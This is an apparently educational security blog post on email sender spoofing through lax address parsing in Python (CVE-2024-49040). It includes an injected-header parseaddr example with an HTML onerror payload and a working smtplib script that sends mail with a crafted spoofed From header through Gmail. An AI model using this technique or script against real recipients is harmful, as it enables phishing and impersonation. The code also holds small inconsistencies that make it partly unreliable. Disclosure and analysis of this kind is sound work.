Emails are today an indispensable tool, used in professional settings, in logistics, in personal communications, and even for daily bookings. However, this technology was created without any security or authentication measures, elements added only later, once the problems we can imagine had emerged. When security is not designed from the beginning, it is inevitable that significant flaws remain.
For this reason, I have always been fascinated by the art of email spoofing. Analyzing the techniques used to make emails a reliable tool, and understanding how these can be bypassed (and improved), is fundamental to protect a system so crucial in our society.
It is in this spirit that, in recent months, I came across an interesting research that examines vulnerabilities in the address parsers of the standard libraries of Python and C#. This study shows how it is possible to exploit such weaknesses to create spoofed emails in an extremely sophisticated way.

Disclaimer: This article was written for purely educational and informational purposes. The author does not endorse the use of these techniques for illegal or unethical activities. The use of the information contained in this article is at your own risk and responsibility. We encourage you to use these techniques only in authorized testing environments and in compliance with local laws and cybersecurity regulations.

Daily Term
Can you guess today’s cybersecurity word in 6 tries?
Play now

The Vulnerability

In Python, the email module provides a method to parse email addresses. In particular, the email.utils sub-module includes the parseaddr function, which can be used to parse email addresses.
Here is an example of how it can be done:

from email.utils import parseaddr
parseaddr("&lt;s@[domain.com\nSlon:< img src=x onerror=alert()&gt;\]>")
('', 's@[domain.com\nBit:&lt;img src=x onerror=alert()&gt;]')

As can be observed, Python does not strictly adhere to RFC standards and allows the inclusion of non-printable ASCII characters in email addresses. This can lead to CRLF (Carriage Return Line Feed) injection vulnerabilities.


The Exploitation

Once the vulnerability is identified, we can put it into practice with a few lines of Python code:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def send_email(sender_email, sender_password, recipient_email, subject, body):

try:
  # Create the email message
  message = MIMEMultipart()
  message['From'] = "&lt;[email protected]&gt; \"spoofed\" &lt;[email protected]&gt;"
  message['To'] = recipient_email
  message['Subject'] = subject
  # Add the message body
  message.attach(MIMEText(body, "plain"))
  # Connect to the SMTP server
  with smtplib.SMTP('smtp.gmail.com', 587) as server:
    server.starttls()
    server.login(sender_email, sender_password)
    # Send the email
    server.sendmail(sender_email, recipient_email, message.as_string())
  print("Email sent successfully!")
except Exception as e:
  print(f"Error while sending the email: {e}")
# Code execution
if __name__ == "_main_":
  sender_email = "[email protected]"
  sender_password = ****
  recipient_email = ****
  subject = "Test for CVE"
  body = ""
  send_email(sender_email, sender_password, recipient_email, subject, body)

By executing this code… ta-daaa! The email is sent successfully, without Microsoft and Google servers raising any objection.


Sample Analysis

Let us analyze in more detail the sample we generated.
Even by expanding the contact, there is no way to detect traces of spoofing. This means that, for an average user, it will be extremely difficult to recognize the non-legitimacy of the sender, making this attack particularly effective.

However, by examining the email header it is possible to identify evidence of spoofing. It can be noted, for example, that none of the security protocols (DMARC, DKIM, and SPF) were successfully passed.

It is interesting to note, however, that even in the header there is no trace of the real Gmail address used to send the sample.
The “Return-Path” field is empty, and in the “From” field we simply see the spoofed address.


Vulnerability Mitigation

The problem was already known to Google and Microsoft, and the vulnerability was tracked with the code CVE-2024-49040. With the November Patch Tuesday, mitigation measures were released that seem to have made the vulnerability no longer exploitable.
We decided to publish this article only after the tech giants had implemented effective blocks to protect users.


Conclusion

For the moment, the vulnerability seems resolved, but research in the field of email spoofing is constantly evolving. Every new technique represents an opportunity to further improve security protocols and protect a crucial system such as email. Only by adopting increasingly advanced security measures can we hope to keep up with the ingenuity of attackers.